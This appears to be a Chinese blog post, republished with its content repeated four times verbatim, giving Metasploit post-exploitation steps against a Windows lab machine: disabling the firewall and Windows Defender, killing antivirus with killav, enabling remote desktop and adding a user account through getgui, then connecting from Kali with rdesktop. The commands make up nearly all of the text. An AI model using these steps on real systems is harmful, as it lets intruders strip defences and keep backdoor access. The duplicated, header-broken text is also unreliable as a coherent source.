前沿拓展:
要system權(quán)限
關(guān)閉防火墻
netsh a**firewall set allprofiles state off
關(guān)閉denfender
輸入shell 進入 cmdshell里面
net stop windefend
關(guān)閉成功
run killav //關(guān)閉殺毒軟件
使用后滲透模塊 關(guān)閉殺軟
run post/windows/manage/killav
我靶機上是啟動了360的 腳本探測不到360的存在,顯示沒有殺軟進程
遠程桌面登錄
run post/windows/manage/enable_rdp
再來到靶機看看
遠程桌面已經(jīng)開啟
也可以使用getgui 來開啟 遠程桌面
Run getgui -e
添加用戶
run getgui -u 123 -p 123
第二就可以再kali里面七檔rdesktop開啟遠程桌面連接了
拓展知識:
前沿拓展:
要system權(quán)限
關(guān)閉防火墻
netsh a**firewall set allprofiles state off
關(guān)閉denfender
輸入shell 進入 cmdshell里面
net stop windefend
關(guān)閉成功
run killav //關(guān)閉殺毒軟件
使用后滲透模塊 關(guān)閉殺軟
run post/windows/manage/killav
我靶機上是啟動了360的 腳本探測不到360的存在,顯示沒有殺軟進程
遠程桌面登錄
run post/windows/manage/enable_rdp
再來到靶機看看
遠程桌面已經(jīng)開啟
也可以使用getgui 來開啟 遠程桌面
Run getgui -e
添加用戶
run getgui -u 123 -p 123
第二就可以再kali里面七檔rdesktop開啟遠程桌面連接了
拓展知識:
前沿拓展:
要system權(quán)限
關(guān)閉防火墻
netsh a**firewall set allprofiles state off
關(guān)閉denfender
輸入shell 進入 cmdshell里面
net stop windefend
關(guān)閉成功
run killav //關(guān)閉殺毒軟件
使用后滲透模塊 關(guān)閉殺軟
run post/windows/manage/killav
我靶機上是啟動了360的 腳本探測不到360的存在,顯示沒有殺軟進程
遠程桌面登錄
run post/windows/manage/enable_rdp
再來到靶機看看
遠程桌面已經(jīng)開啟
也可以使用getgui 來開啟 遠程桌面
Run getgui -e
添加用戶
run getgui -u 123 -p 123
第二就可以再kali里面七檔rdesktop開啟遠程桌面連接了
拓展知識:
前沿拓展:
要system權(quán)限
關(guān)閉防火墻
netsh a**firewall set allprofiles state off
關(guān)閉denfender
輸入shell 進入 cmdshell里面
net stop windefend
關(guān)閉成功
run killav //關(guān)閉殺毒軟件
使用后滲透模塊 關(guān)閉殺軟
run post/windows/manage/killav
我靶機上是啟動了360的 腳本探測不到360的存在,顯示沒有殺軟進程
遠程桌面登錄
run post/windows/manage/enable_rdp
再來到靶機看看
遠程桌面已經(jīng)開啟
也可以使用getgui 來開啟 遠程桌面
Run getgui -e
添加用戶
run getgui -u 123 -p 123
第二就可以再kali里面七檔rdesktop開啟遠程桌面連接了
拓展知識:
原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請注明出處:http://m.xiesong.cn/9030.html